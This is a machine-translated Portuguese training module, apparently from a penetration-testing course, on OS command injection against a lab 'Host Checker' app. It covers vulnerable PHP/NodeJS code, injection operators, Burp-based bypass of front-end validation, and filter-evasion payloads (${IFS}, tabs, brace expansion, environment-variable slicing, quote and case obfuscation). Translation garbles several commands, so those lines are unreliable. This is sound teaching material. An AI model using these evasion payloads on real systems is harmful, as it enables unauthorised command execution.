0% acharam este documento útil (0 voto)
16 visualizações35 páginas

Vulnerabilidades de Injeção em Aplicativos Web

Enviado por

davidferreir
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
16 visualizações35 páginas

Vulnerabilidades de Injeção em Aplicativos Web

Enviado por

davidferreir
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

Machine Translated by Google

22. Injeções de comando

Introdução às injeções de comando

Uma vulnerabilidade de injeção de comando está entre os tipos mais críticos de vulnerabilidades. Ela permite

para executarmos comandos do sistema diretamente no servidor de hospedagem de back-end, o que pode levar a

comprometendo toda a rede. Se um aplicativo da web usa entrada controlada pelo usuário para executar um

comando do sistema no servidor back-end para recuperar e retornar uma saída específica, podemos estar

capaz de injetar uma carga maliciosa para subverter o comando pretendido e executar nosso
comandos.

O que são injeções


Vulnerabilidades de injeção são consideradas o risco número 3 no Top 10 de aplicativos da Web da OWASP

Riscos, dado seu alto impacto e quão comuns eles são. A injeção ocorre quando a entrada controlada pelo

usuário é mal interpretada como parte da consulta da web ou do código que está sendo executado, o que

pode levar à subversão do resultado pretendido da consulta para um resultado diferente que seja
útil para o atacante.

Existem muitos tipos de injeções encontradas em aplicativos da web, dependendo do tipo de web

consulta sendo executada. A seguir estão alguns dos tipos mais comuns de injeções:

Injeção Descrição

Injeção de comando do SO Ocorre quando a entrada do usuário é usada diretamente como parte de um comando
do sistema operacional.

Injeção de código Ocorre quando a entrada do usuário está diretamente dentro de uma
função que avalia o código.

Injeções SQL Ocorre quando a entrada do usuário é usada diretamente como parte de
uma consulta SQL.

Cross-Site Scripting/HTML Ocorre quando a entrada exata do usuário é exibida em uma página
Injeção da web.

Existem muitos outros tipos de injeções além das acima, como injeção LDAP , NoSQL

Injeção , Injeção de Cabeçalho HTTP , Injeção XPath , Injeção IMAP e outros. Sempre que a entrada ORM

Injeção , do usuário for usada em uma consulta sem ser devidamente

higienizada, pode ser possível escapar dos limites da string de entrada do usuário para o pai
Machine Translated by Google

consultar e manipulá-lo para alterar sua finalidade pretendida. É por isso que, à medida que mais tecnologias da

web são introduzidas em aplicativos da web, veremos novos tipos de injeções introduzidos em aplicativos da web.

Injeções de comando do SO
Quando se trata de Injeções de Comando do SO, a entrada do usuário que controlamos deve direta ou indiretamente

entrar (ou afetar de alguma forma) em uma consulta da web que executa comandos do sistema. Todas as linguagens de

programação da web têm funções diferentes que permitem ao desenvolvedor executar comandos do sistema

operacional diretamente no servidor back-end sempre que necessário. Isso pode ser usado para vários propósitos, como

instalar plugins ou executar certos aplicativos.

Exemplo PHP

Por exemplo, um aplicativo web escrito em PHP pode usar as funções exec , system , shell_exec ou popen para executar

código a comandos diretamente no servidor back-end, cada passthru , tendo um caso de uso ligeiramente diferente. O

seguir é um exemplo de código PHP que é vulnerável a injeções de comando:

<?php
if (isset($_GET['nome do arquivo'])) {
sistema("toque /tmp/" . $_GET['nome do arquivo'] . ".pdf");

} ?>

Talvez um aplicativo da web em particular tenha uma funcionalidade que permita aos usuários criar um novo documento .pdf

que é criado no diretório /tmp com um nome de arquivo fornecido pelo usuário e pode então ser usado pelo aplicativo da web

para fins de processamento de documentos. No entanto, como a entrada do usuário do parâmetro filename na solicitação GET

é usada diretamente com o comando touch (sem ser sanitizada ou escapada primeiro), o aplicativo da web se torna vulnerável

à injeção de comando do SO. Essa falha pode ser explorada para executar comandos arbitrários do sistema no servidor

back-end.

Exemplo NodeJS

Isso não é exclusivo do PHP , mas pode ocorrer em qualquer framework ou linguagem de desenvolvimento web.

Por exemplo, se um aplicativo web for desenvolvido em NodeJS child_process.exec ou , um desenvolvedor pode usar

child_process.spawn para o mesmo propósito. O exemplo a seguir executa uma funcionalidade semelhante à que

discutimos acima:

[Link]("/createfile", função(req, res){


child_process.exec(`touch /tmp/${[Link]}.txt`);
Machine Translated by Google

})

O código acima também é vulnerável a uma vulnerabilidade de injeção de comando, pois usa o parâmetro
filename da solicitação GET como parte do comando sem higienizá-lo primeiro.
Tanto os aplicativos web PHP quanto os NodeJS podem ser explorados usando os mesmos métodos
de injeção de comando.

Da mesma forma, outras linguagens de programação de desenvolvimento web têm funções semelhantes
usadas para os mesmos propósitos e, se vulneráveis, podem ser exploradas usando os mesmos métodos de
injeção de comando. Além disso, vulnerabilidades de injeção de comando não são exclusivas de aplicativos web,
mas também podem afetar outros binários e thick clients se eles passarem entrada de usuário não higienizada
para uma função que executa comandos do sistema, que também pode ser explorada com os mesmos
métodos de injeção de comando.

A seção a seguir discutirá diferentes métodos de detecção e exploração de vulnerabilidades de injeção de


comando em aplicativos web.

Detecção

O processo de detecção de vulnerabilidades básicas de injeção de comando do SO é o mesmo processo para


explorar tais vulnerabilidades. Tentamos anexar nosso comando por meio de vários métodos de injeção.
Se a saída do comando mudar do resultado usual pretendido, exploramos a vulnerabilidade com sucesso. Isso
pode não ser verdade para vulnerabilidades de injeção de comando mais avançadas porque podemos utilizar
vários métodos de fuzzing ou revisões de código para identificar potenciais vulnerabilidades de injeção de
comando. Podemos então construir gradualmente nossa carga útil até atingirmos a injeção de comando. Este
módulo se concentrará em injeções de comando básicas, onde controlamos a entrada do usuário que está
sendo usada diretamente em uma execução de comando do sistema, uma função sem qualquer higienização.

Para demonstrar isso, usaremos o exercício encontrado no final desta seção.

Detecção de injeção de comando


Quando visitamos o aplicativo web no exercício abaixo, vemos um utilitário Host Checker que parece nos pedir
um IP para verificar se ele está ativo ou não:
Machine Translated by Google

Podemos tentar inserir o IP do host local [Link] para verificar a funcionalidade e, como esperado,
ele retorna a saída do comando ping nos informando que o host local está realmente ativo:

Embora não tenhamos acesso ao código-fonte do aplicativo web, podemos supor com
segurança que o IP que inserimos está indo para um comando ping , já que a saída que recebemos
sugere isso. Como o resultado mostra um único pacote transmitido no comando ping, o comando
usado pode ser o seguinte:

ping -c 1 NOSSA_ENTRADA

Se nossa entrada não for sanitizada e escapada antes de ser usada com o comando ping ,
poderemos injetar outro comando arbitrário. Então, vamos tentar ver se o aplicativo web é
vulnerável à injeção de comando do SO.

Métodos de injeção de comando


Machine Translated by Google

Para injetar um comando adicional ao pretendido, podemos usar qualquer um dos seguintes
operadores:

Injeção Injeção Codificado por URL Comando executado


Operador Personagem Personagem

Ponto e vírgula ; %3b Ambos

Nova Linha \n %0a Ambos

Fundo & %26 Ambos (segunda saída


geralmente mostrada primeiro)
` `
Cano %7c

E && %26%26 Ambos (somente se o primeiro for bem-sucedido)


` `
OU

Sub-Shell ``
%60%60 Ambos (somente Linux)

Sub-Shell $() %24%28%29 Ambos (somente Linux)

Podemos usar qualquer um desses operadores para injetar outro comando para que ambos ou qualquer um dos
comandos são executados. Nós escreveríamos nossa entrada esperada (por exemplo, um IP), então

use qualquer um dos operadores acima e então escreva nosso novo comando.

Dica: Além dos acima, existem alguns operadores somente Unix que funcionariam no Linux
e macOS, mas não funcionaria no Windows, como envolver nosso comando injetado com
``
acentos graves duplos ( ) ou com um operador de sub-shell ( $() ).

Em geral, para injeção de comando básico, todos esses operadores podem ser usados para comando
injeções independentemente da linguagem do aplicativo da web, estrutura ou back-end
servidor . Então, se estamos injetando em uma aplicação web PHP rodando em um servidor Linux , ou um
Aplicativo web .Net em execução em um servidor back-end do Windows ou um aplicativo web NodeJS
rodando em um servidor back-end macOS , nossas injeções devem funcionar de qualquer maneira.

Nota: A única exceção pode ser o ponto e vírgula ; sendo , que não funcionará se o comando foi
executado com a Linha de Comando do Windows (CMD) executado , mas ainda funcionaria se estivesse sendo
com o Windows PowerShell .

Na próxima seção, tentaremos usar um dos operadores de injeção acima para explorar o
Exercício do Host Checker .

Injetando comandos

Até agora, descobrimos que o aplicativo da web Host Checker é potencialmente vulnerável a
injeções de comando e discutimos vários métodos de injeção que podemos utilizar para explorar o
Machine Translated by Google

aplicação web. Então, vamos começar nossas tentativas de injeção de comando com o operador ponto e vírgula ( ; ).

Injetando Nosso Comando


Podemos adicionar um ponto e vírgula após nosso IP de entrada , e então anexar nosso comando

[Link] (por exemplo, whoami ), de modo que a carga final que usaremos seja ( [Link]; whoami ), e o
comando final a ser executado seria:

ping -c 1 [Link]; quem sou eu

Primeiro, vamos tentar executar o comando acima em nossa VM Linux para garantir que ele seja executado:

21y4d@htb[/htb]$ ping -c 1 [Link]; quem sou eu

PING [Link] ([Link]) 56(84) bytes de dados. 64 bytes de


[Link]: icmp_seq=1 ttl=64 tempo=1,03 ms

--- Estatísticas de ping [Link] --- 1 pacote


transmitido, 1 recebido, 0% de perda de pacotes, tempo 0 ms rtt min/avg/max/
mdev = 1,034/1,034/1,034/0,000 ms 21y4d

Como podemos ver, o comando final é executado com sucesso, e obtemos a saída de ambos os comandos

(conforme mencionado na tabela anterior para ; ). Agora, podemos tentar usar nossa carga útil anterior no aplicativo da

web Host Checker :

Como podemos ver, o aplicativo da web recusou nossa entrada, pois parece aceitar apenas entrada em um formato IP.

No entanto, pela aparência da mensagem de erro, parece que ela está se originando do
Machine Translated by Google

front-end em vez do back-end. Podemos verificar isso duas vezes com o Firefox Developer Tools clicando em [CTRL
+ SHIFT + E] para mostrar a aba Network e então clicando no botão Check novamente:

Como podemos ver, nenhuma nova solicitação de rede foi feita quando clicamos no botão Check , mas recebemos
uma mensagem de erro. Isso indica que a validação da entrada do usuário é
acontecendo no front-end .

Isso parece ser uma tentativa de nos impedir de enviar payloads maliciosos, permitindo apenas a entrada do
usuário em um formato IP. No entanto, é muito comum que desenvolvedores apenas
para executar validação de entrada no front-end sem validar ou higienizar a entrada no back-end. Isso
ocorre por vários motivos, como ter duas equipes diferentes trabalhando no front-end/back-end ou confiar na
validação do front-end para evitar payloads maliciosos.

Entretanto, como veremos, as validações de front-end geralmente não são suficientes para evitar injeções, pois
elas podem ser facilmente contornadas enviando solicitações HTTP personalizadas diretamente para o back-end.

Ignorando a validação do front-end


O método mais fácil de personalizar as solicitações HTTP enviadas ao servidor back-end é usar um proxy da web
que pode interceptar as solicitações HTTP enviadas pelo aplicativo. Para fazer isso, podemos iniciar o Burp Suite
ou o ZAP e configurar o Firefox para fazer proxy do tráfego por meio deles.
Então, podemos habilitar o recurso de interceptação de proxy, enviar uma solicitação padrão do aplicativo da
web com qualquer IP (por exemplo, [Link] ) e enviar a solicitação HTTP interceptada para o repetidor
clicando em [CTRL + R] , e deveríamos ter a solicitação HTTP para
personalização:

Solicitação POST do Burp


Machine Translated by Google

Agora podemos personalizar nossa solicitação HTTP e enviá-la para ver como o aplicativo da web
lida com ela. Começaremos usando o mesmo payload anterior ( [Link]; whoami ). Também devemos
codificar nossa carga útil por URL para garantir que ela seja enviada como pretendemos. Podemos fazer
isso selecionando a carga útil e clicando em [CTRL + U] . Finalmente, podemos clicar em Enviar para enviar
nossa solicitação HTTP:

Solicitação POST do Burp

Como podemos ver, a resposta que obtivemos desta vez contém a saída do comando ping e o resultado do
comando whoami , o que significa que injetamos com sucesso nosso novo
comando .

Outros operadores de injeção

Antes de prosseguirmos, vamos testar alguns outros operadores de injeção e ver como o aplicativo web os
manipularia de forma diferente.

Operador AND
Machine Translated by Google

Podemos começar com o operador AND ( && ), de modo que nossa carga útil final seria ( [Link] && whoami ), e
o comando final executado seria o seguinte:

ping -c 1 [Link] && whoami

Como sempre devemos fazer, vamos tentar executar o comando em nossa VM Linux primeiro para garantir que seja
um comando funcional:

21y4d@htb[/htb]$ ping -c 1 [Link] && whoami

PING [Link] ([Link]) 56(84) bytes de dados. 64 bytes de


[Link]: icmp_seq=1 ttl=64 tempo=1,03 ms

--- Estatísticas de ping [Link] --- 1 pacote


transmitido, 1 recebido, 0% de perda de pacotes, tempo 0 ms rtt min/avg/max/
mdev = 1,034/1,034/1,034/0,000 ms 21y4d

Como podemos ver, o comando é executado, e obtemos a mesma saída que obtivemos anteriormente. Tente
consultar a tabela de operadores de injeção da seção anterior e veja como o operador && é diferente (se
não escrevermos um IP e começarmos diretamente com && ainda funciona?). , seria o comando

Agora, podemos fazer a mesma coisa que fizemos antes, copiando nossa carga útil e colando-a em nossa solicitação
HTTP no Burp Suite , codificando-o por URL e, finalmente, enviando-o:

Como podemos ver, injetamos nosso comando com sucesso e recebemos a saída esperada de ambos os comandos.

Operador OR
Machine Translated by Google

Por fim, vamos tentar o operador de injeção OR ( || ). O operador OR só executa o segundo comando se o primeiro
comando falhar na execução. Isso pode ser útil para nós em casos em que nossa injeção quebraria o comando
original sem ter uma maneira sólida de fazer ambos os comandos funcionarem. Então, usar o operador OR
faria nosso novo comando executar se o primeiro falhar.

Se tentarmos usar nossa carga útil usual com o operador || ( [Link] || whoami ), veremos que apenas o
primeiro comando será executado:

21y4d@htb[/htb]$ ping -c 1 [Link] || quem sou eu

PING [Link] ([Link]) 56(84) bytes de dados. 64 bytes de


[Link]: icmp_seq=1 ttl=64 tempo=0,635 ms

--- Estatísticas de ping [Link] --- 1


pacote transmitido, 1 recebido, 0% de perda de pacotes, tempo 0 ms rtt min/
avg/max/mdev = 0,635/0,635/0,635/0,000 ms

Isso ocorre devido ao modo como os comandos bash funcionam. Como o primeiro comando retorna o código de saída 0

indicando execução bem-sucedida, o comando bash para e não tenta o outro comando. Ele só tentaria
executar o outro comando se o primeiro comando falhasse e retornasse um código de saída 1 .

Tente usar a carga acima na solicitação HTTP e veja como o aplicativo web a manipula.

Vamos tentar quebrar intencionalmente o primeiro comando não fornecendo um IP e usando diretamente o
operador || ( || whoami ), de modo que o comando ping falhe e nosso comando injetado seja executado:

21y4d@htb[/htb]$ ping -c 1 || quem sou eu

ping: erro de uso: Endereço de destino necessário 21y4d

Como podemos ver, desta vez, o comando whoami foi executado após o comando ping falhar e nos deu uma
mensagem de erro. Então, vamos agora tentar o payload ( || whoami ) em nosso HTTP
Machine Translated by Google

solicitar:

Vemos que dessa vez só obtivemos a saída do segundo comando como esperado. Com isso,

estamos usando uma carga útil muito mais simples e obtendo um resultado muito mais limpo.

Esses operadores podem ser usados para vários tipos de injeção, como injeções de SQL, injeções de LDAP,
XSS, SSRF, XML, etc. Criamos uma lista dos operadores mais comuns que podem ser

usado para injeções:

Tipo de injeção Operadores


'
Injeção de SQL , ; -- /* */

Injeção de comando ; &&


`
Injeção LDAP *( )&

Injeção XPath
'
ou e não substring concat contagem
`
Injeção de comando do SO ;&
'
Injeção de código ; -- /* */ $() ${} #{} %{} ^

Travessia de diretório/Travessia de caminho de arquivo ../ ..\\ %00


`
Injeção de Objetos ;&
'
Injeção XQuery ; -- /* */

Injeção de Shellcode \x \u %u %n

Injeção de Cabeçalho \n \r\n \t %0d %0a %09

Tenha em mente que esta tabela está incompleta e muitas outras opções e operadores estão

possível. Também depende muito do ambiente com o qual estamos trabalhando e testando.

Neste módulo, estamos lidando principalmente com injeções de comando direto, nas quais nossa entrada

vai diretamente para o comando do sistema e estamos recebendo a saída do comando.

Para mais informações sobre injeções de comando avançadas, como injeções indiretas ou injeções cegas, você pode

consulte o Whitebox Pentesting 101: Injeção de comando módulo, que abrange conhecimentos avançados

métodos de injeção e muitos outros tópicos.


Machine Translated by Google

Identificando filtros

Como vimos na seção anterior, mesmo que os desenvolvedores tentem proteger o aplicativo da web contra
injeções, ele ainda pode ser explorável se não tiver sido codificado com segurança. Outro tipo de mitigação de
injeção é utilizar caracteres e palavras da lista negra no back-end para detectar tentativas de injeção e negar a
solicitação se alguma solicitação as contiver. Outra camada sobre isso é utilizar Web Application Firewalls
(WAFs), que podem ter um escopo mais amplo e vários métodos de detecção de injeção e evitar vários outros
ataques, como injeções de SQL ou ataques XSS.

Esta seção analisará alguns exemplos de como injeções de comando podem ser detectadas e bloqueadas e
como podemos identificar o que está sendo bloqueado.

Detecção de filtro/WAF

Vamos começar visitando o aplicativo web no exercício no final desta seção. Vemos o mesmo aplicativo web Host
Checker que estávamos explorando, mas agora ele tem algumas mitigações na manga. Podemos ver que se
tentarmos os operadores anteriores que testamos, como ( , || ), obtemos a mensagem de erro invalid input :
; , &&

Isso indica que algo que enviamos acionou um mecanismo de segurança em vigor que negou nossa solicitação.
Essa mensagem de erro pode ser exibida de várias maneiras. Nesse caso, vemos isso no campo onde a saída é
exibida, o que significa que foi detectado e impedido pelo próprio aplicativo da web PHP . Se a mensagem de
erro exibiu uma página diferente, com informações como nosso IP e nossa solicitação, isso pode indicar que foi
negado por um WAF .

Vamos verificar a carga útil que enviamos:

[Link]; quem sou eu


Machine Translated by Google

Além do IP (que sabemos que não está na lista negra), enviamos:

1. Um caractere ponto e vírgula ;

2. Um caractere de espaço
3. Um comando whoami

Então, o aplicativo da web detectou um personagem na lista negra ou detectou um


comando na lista negra , ou ambos. Então, vamos ver como contornar cada um.

Personagens na lista negra

Um aplicativo web pode ter uma lista de caracteres na lista negra e, se o comando os contiver, ele negará a
solicitação. O código PHP pode ser parecido com o seguinte:

$blacklist = ['&', '|', ';', ...SNIP...]; foreach ($blacklist como


$character) {
se (strpos($_POST['ip'], $character) !== false) { echo "Entrada
inválida";
}
}

Se qualquer caractere na string que enviamos corresponder a um caractere na lista negra, nossa solicitação será
negada. Antes de começarmos nossas tentativas de contornar o filtro, devemos tentar identificar qual caractere
causou a solicitação negada.

Identificando Personagem na Lista Negra


Vamos reduzir nossa solicitação para um caractere por vez e ver quando ela é bloqueada. Sabemos que o payload
( [Link] ) funciona, então vamos começar adicionando o ponto e vírgula (
Machine Translated by Google

[Link]; ):

Ainda obtemos um erro invalid input , significando que um ponto e vírgula está na lista negra. Então, vamos ver
se todos os operadores de injeção que discutimos anteriormente estão na lista negra.

Ignorando filtros de espaço

Existem inúmeras maneiras de detectar tentativas de injeção, e existem vários métodos para ignorar essas
detecções. Demonstraremos o conceito de detecção e como o bypass funciona usando o Linux como
exemplo. Aprenderemos como utilizar esses bypasses e, eventualmente, seremos capazes de preveni-los. Depois
que tivermos uma boa compreensão de como eles funcionam, podemos passar por várias fontes na internet
para descobrir outros tipos de bypasses e aprender como mitigá-los.

Ignorar operadores na lista negra


Veremos que a maioria dos operadores de injeção estão de fato na lista negra. No entanto, o caractere de nova
linha geralmente não está na lista negra, pois pode ser necessário no próprio payload. Sabemos que o caractere
de nova linha funciona ao anexar nossos comandos tanto no Linux quanto no Windows, então
Machine Translated by Google

vamos tentar usá-lo como nosso operador de injeção:

Como podemos ver, embora nossa carga útil tenha incluído um caractere de nova linha, nossa solicitação não foi negada,

e obtivemos a saída do comando ping, o que significa que esse caractere não está na lista negra, e podemos usá-
lo como nosso operador de injeção . Vamos começar discutindo como ignorar um caractere comumente na lista negra -

um caractere de espaço.

Ignorar espaços na lista negra


Agora que temos um operador de injeção funcional, vamos modificar nossa carga útil original e enviá-la novamente como

( [Link]%0a whoami ):

Como podemos ver, ainda recebemos uma mensagem de erro de entrada inválida , o que significa que ainda temos

outros filtros para ignorar. Então, como fizemos antes, vamos adicionar apenas o próximo caractere (que é um
Machine Translated by Google

espaço) e veja se isso causou a solicitação negada:

Como podemos ver, o caractere de espaço também está na lista negra. Um espaço é um caractere
comumente na lista negra, especialmente se a entrada não deve conter espaços, como um IP, por
exemplo. Ainda assim, há muitas maneiras de adicionar um caractere de espaço sem realmente usar o
caractere de espaço!

Usando abas

Usar tabulações (%09) em vez de espaços é uma técnica que pode funcionar, já que tanto o Linux
quanto o Windows aceitam comandos com tabulações entre argumentos, e eles são executados da mesma forma.
Então, vamos tentar usar uma tabulação em vez do caractere de espaço ( [Link]%0a%09 ) e ver se nossa
solicitação é aceita:

Como podemos ver, contornamos com sucesso o filtro de caracteres de espaço usando uma tabulação.
Vamos ver outro método de substituição de caracteres de espaço.

Usando $IFS

Usando o (
IFS)A variável de ambiente Linux também pode funcionar, pois seu valor padrão é um espaço e uma guia, o que seri
Machine Translated by Google

{IFS}` onde os espaços deveriam estar, a variável deveria ser automaticamente substituída por um
espaço, e nosso comando deveria funcionar.

Vamos usar ${IFS} e ver se funciona ( [Link]%0a${IFS} ):

Vemos que nossa solicitação não foi negada desta vez e ignoramos o filtro de espaço novamente.

Usando expansão de chaves

Existem muitos outros métodos que podemos utilizar para ignorar filtros de espaço. Por exemplo, podemos
usar o recurso Bash Brace Expansion , que adiciona espaços automaticamente entre argumentos
encapsulados entre chaves, como segue:

{ls,-lá}

total 0
drwxr-xr-x 1 21y4d 21y4d 0 13 de julho 07:37 . drwxr-xr-x 1 21y4d
21y4d 0 13 de julho 13:01 ..

Como podemos ver, o comando foi executado com sucesso sem ter espaços nele. Podemos utilizar o mesmo
método em bypasses de filtro de injeção de comando, usando expansão de chaves em nossos argumentos
de comando, como ( [Link]%0a{ls,-la} ). Para descobrir mais bypasses de filtro de espaço, confira o
PayloadsAllTheThings página sobre como escrever comandos sem espaços.

Exercício: Tente procurar outros métodos para ignorar filtros de espaço e use-os com o aplicativo web
Host Checker para aprender como eles funcionam.

Ignorando outros personagens na lista negra

Além dos operadores de injeção e caracteres de espaço, um caractere muito comumente incluído na lista
negra é o caractere de barra ( / ) ou barra invertida ( \ ), pois é necessário para especificar diretórios no Linux
Machine Translated by Google

ou Windows. Podemos utilizar várias técnicas para produzir qualquer personagem que quisermos, evitando
o uso de personagens da lista negra.

Linux
Existem muitas técnicas que podemos utilizar para ter barras em nossa carga útil. Uma dessas
técnicas que podemos usar para substituir barras ( ou qualquer outro caractere ) é por meio de Variáveis de
Ambiente Linux , como fizemos com ${IFS} . Enquanto ${IFS} é substituído diretamente por um espaço, não
existe uma variável de ambiente para barras ou ponto e vírgula. No entanto, esses caracteres podem ser
usados em uma variável de ambiente, e podemos especificar o início e o comprimento de nossa string para
corresponder exatamente a esse caractere.

Por exemplo, se observarmos a variável de ambiente $PATH no Linux, ela pode ser parecida com o seguinte:

eco ${CAMINHO}

/usr/local/bin:/usr/bin:/bin:/usr/jogos

Então, se começarmos no caractere 0 e pegarmos apenas uma string de , acabaremos com apenas
comprimento 1, o caractere / , que podemos usar em nossa carga útil:

eco ${PATH:0:1}

Nota: Quando usamos o comando acima em nossa carga útil, não adicionaremos echo , , como nós somos

usando-o apenas neste caso para mostrar o caractere gerado.

Podemos fazer o mesmo com as variáveis de ambiente $HOME ou $PWD também. Também podemos
use o mesmo conceito para obter um caractere ponto e vírgula, para ser usado como um operador de injeção.
Por exemplo, o comando a seguir nos dá um ponto e vírgula:

eco ${LS_COLORS:10:1}

Exercício: Tente entender como o comando acima resultou em um ponto e vírgula e, em seguida, use-o no
payload para usá-lo como um operador de injeção. Dica: O comando printenv imprime todos os
Machine Translated by Google

variáveis de ambiente no Linux, para que você possa ver quais delas podem conter caracteres úteis,
e então tente reduzir a string somente para aquele caractere.

Então, vamos tentar usar variáveis de ambiente para adicionar um ponto e vírgula e um espaço à nossa carga útil (
[Link]${LS_COLORS:10:1}${IFS} ) como nossa carga útil e veja se podemos ignorar o filtro:

Como podemos ver, também desta vez conseguimos contornar o filtro de caracteres.

Windows
O mesmo conceito funciona no Windows também. Por exemplo, para produzir uma barra no Windows
Linha de comando (CMD) , podemos ecoar uma variável do Windows ( %HOMEPATH% -> \Users\htb-

aluno ), e então especifique uma posição inicial ( ~6 -> \htb-student ), e finalmente


especificando uma posição final negativa, que neste caso é o comprimento do nome de usuário htb-student
( -11 -> \ ) :

C:\htb> eco %HOMEPATH:~6,-11%

Podemos conseguir a mesma coisa usando as mesmas variáveis no Windows PowerShell . Com
PowerShell, uma palavra é considerada uma matriz, então temos que especificar o índice do caractere
precisamos. Como precisamos apenas de um caractere, não precisamos especificar o início e o fim
posições:

PS C:\htb> $env:HOMEPATH[0]

PS C:\htb> $env:ARQUIVOS DE PROGRAMAS[10]


Machine Translated by Google

PS C:\htb>

Também podemos usar o comando Get-ChildItem Env: PowerShell para imprimir todas as variáveis de
ambiente e, em seguida, escolher uma delas para produzir um caractere que precisamos. Tente ser criativo
e encontrar comandos diferentes para produzir caracteres semelhantes.

Mudança de personagem

Existem outras técnicas para produzir os caracteres necessários sem usá-los, como a troca de caracteres . Por
exemplo, o seguinte comandodo Linux troca o caractere que

passe por 1 . Então, tudo o que temos que fazer é encontrar o caractere na tabela ASCII que está logo antes do
nosso caractere necessário (podemos obtê-lo com man ascii ), então adicioná-lo em vez de [ no exemplo abaixo.
Dessa forma, o último caractere impresso seria o que precisamos:

homem ascii # \ está em 92, antes de [ em 91


eco $(tr '!-}' '"-~'<<<[)

Podemos usar comandos do PowerShell para obter o mesmo resultado no Windows, embora eles possam ser bem
mais longos que os do Linux.

Exercício: Tente usar a técnica de mudança de caractere para produzir um caractere ponto e vírgula ; .
Primeiro, encontre o caractere antes dele na tabela ascii e, então, use-o no comando acima.

Ignorando comandos da lista negra

Discutimos vários métodos para ignorar filtros de caracteres únicos. No entanto, existem métodos diferentes quando
se trata de ignorar comandos na lista negra. Uma lista negra de comandos geralmente consiste em um
conjunto de palavras e, se pudermos ofuscar nossos comandos e fazê-los parecer diferentes, poderemos
ignorar os filtros.

Existem vários métodos de ofuscação de comando que variam em complexidade, como abordaremos mais tarde com
ferramentas de ofuscação de comando. Abordaremos algumas técnicas básicas que podem nos permitir mudar a
aparência do nosso comando para ignorar filtros manualmente.
Machine Translated by Google

Comandos Lista Negra

Até agora, contornamos com sucesso o filtro de caracteres para os caracteres de espaço e ponto e vírgula em
nosso payload. Então, vamos voltar para nosso primeiro payload e adicionar novamente o comando whoami
para ver se ele é executado:

Vemos que, embora tenhamos usado caracteres que não são bloqueados pelo aplicativo da web, a solicitação é
bloqueada novamente quando adicionamos nosso comando. Isso provavelmente se deve a outro tipo de filtro, que
é um filtro de lista negra de comando.

Um filtro de lista negra de comandos básico em PHP seria parecido com o seguinte:

$blacklist = ['whoami', 'cat', ...SNIP...]; foreach ($blacklist


como $word) { if (strpos('$_POST['ip']',
$word) !== false) {
eco "Entrada inválida";
}
}

Como podemos ver, ele está verificando cada palavra da entrada do usuário para ver se ela corresponde a
alguma das palavras da lista negra. No entanto, esse código está procurando uma correspondência exata
do comando fornecido, então se enviarmos um comando ligeiramente diferente, ele pode não ser bloqueado. Felizmente,
podemos utilizar várias técnicas de ofuscação que executarão nosso comando sem usar a palavra exata do comando.

Linux e Windows
Uma técnica de ofuscação muito comum e fácil é inserir certos caracteres em nosso comando que geralmente são
ignorados por shells de comando como Bash ou PowerShell e irão
Machine Translated by Google

execute o mesmo comando como se eles não estivessem lá. Alguns desses caracteres são aspas simples '
e aspas duplas " , além de alguns outros.

As mais fáceis de usar são aspas, e elas funcionam tanto em servidores Linux quanto Windows. Por exemplo,
se quisermos ofuscar o comando whoami , podemos inserir aspas simples entre seus caracteres, como a
seguir:

21y4d@htb[/htb]$ quem sou eu

21 anos e 4 dias

O mesmo funciona com aspas duplas:

21y4d@htb[/htb]$ quem"eu"sou

21 anos e 4 dias

As coisas importantes a lembrar são que não podemos misturar tipos de citações e o número de citações deve
ser par . Podemos tentar um dos itens acima em nossa carga útil ( [Link]%0aw'h'o'am'i ) e ver se
funciona:

Solicitação POST do Burp

Como podemos ver, esse método realmente funciona.

Somente Linux

Podemos inserir alguns outros caracteres exclusivos do Linux no meio dos comandos, e o shell bash os ignoraria
e executaria o comando. Esses caracteres incluem a barra invertida
Machine Translated by Google

\ e o caractere de parâmetro posicional $@ . Isso funciona exatamente como com as aspas, mas neste caso, o
número de caracteres não precisa ser nem mesmo um deles se quisermos: , e podemos inserir

quem$@ami
quem\sou\eu

Exercício: Tente os dois exemplos acima em seu payload e veja se eles funcionam para ignorar o filtro de comando.
Se não funcionarem, isso pode indicar que você pode ter usado um caractere filtrado.
Você conseguiria contornar isso também, usando as técnicas que aprendemos na seção anterior?

Somente Windows
Há também alguns caracteres exclusivos do Windows que podemos inserir no meio dos comandos que não afetam o
resultado, como um caractere circunflexo ( ^ ), como podemos ver no exemplo a seguir:

C:\htb> quem^sou

21 anos e 4 dias

Na próxima seção, discutiremos algumas técnicas mais avançadas para ofuscação de comandos e
desvio de filtros.

Ofuscação de comando avançada

Em alguns casos, podemos estar lidando com soluções avançadas de filtragem, como Web Application Firewalls
(WAFs), e técnicas básicas de evasão podem não necessariamente funcionar. Podemos utilizar técnicas mais
avançadas para tais ocasiões, o que torna a detecção dos comandos injetados muito menos provável.

Manipulação de Casos
Uma técnica de ofuscação de comando que podemos usar é a manipulação de maiúsculas e minúsculas, como inverter as maiúsculas

e minúsculas dos caracteres de um comando (por exemplo, WHOAMI ) ou alternar entre maiúsculas e minúsculas (por exemplo, WhOaMi ).
Machine Translated by Google

Isso geralmente funciona porque uma lista negra de comandos pode não verificar variações de maiúsculas e minúsculas de uma

única palavra, já que os sistemas Linux diferenciam maiúsculas de minúsculas.

Se estivermos lidando com um servidor Windows, podemos alterar a caixa dos caracteres do comando e enviá-lo. No Windows,

os comandos para PowerShell e CMD não diferenciam maiúsculas de minúsculas, o que significa que eles executarão

o comando independentemente de qual caixa ele esteja escrito:

PS C:\htb> WhOaMi

21 anos e 4 dias

No entanto, quando se trata de Linux e um shell bash, que são sensíveis a maiúsculas e minúsculas, como mencionado

anteriormente, temos que ser um pouco criativos e encontrar um comando que transforme o comando em uma palavra toda em

minúsculas. Um comando funcional que podemos usar é o seguinte:

21y4d@htb[/htb]$ $(tr "[AZ]" "[az]"<<<"WhOaMi")

21 anos e 4 dias

Como podemos ver, o comando funcionou, embora a palavra que fornecemos fosse ( WhOaMi ).

Este comando usa tr para substituir todos os caracteres maiúsculos por caracteres minúsculos, o que resulta em um comando

all-minúsculo. No entanto, se tentarmos usar o comando acima com o aplicativo da web Host Checker , veremos que ele ainda

fica bloqueado:

Solicitação POST do Burp

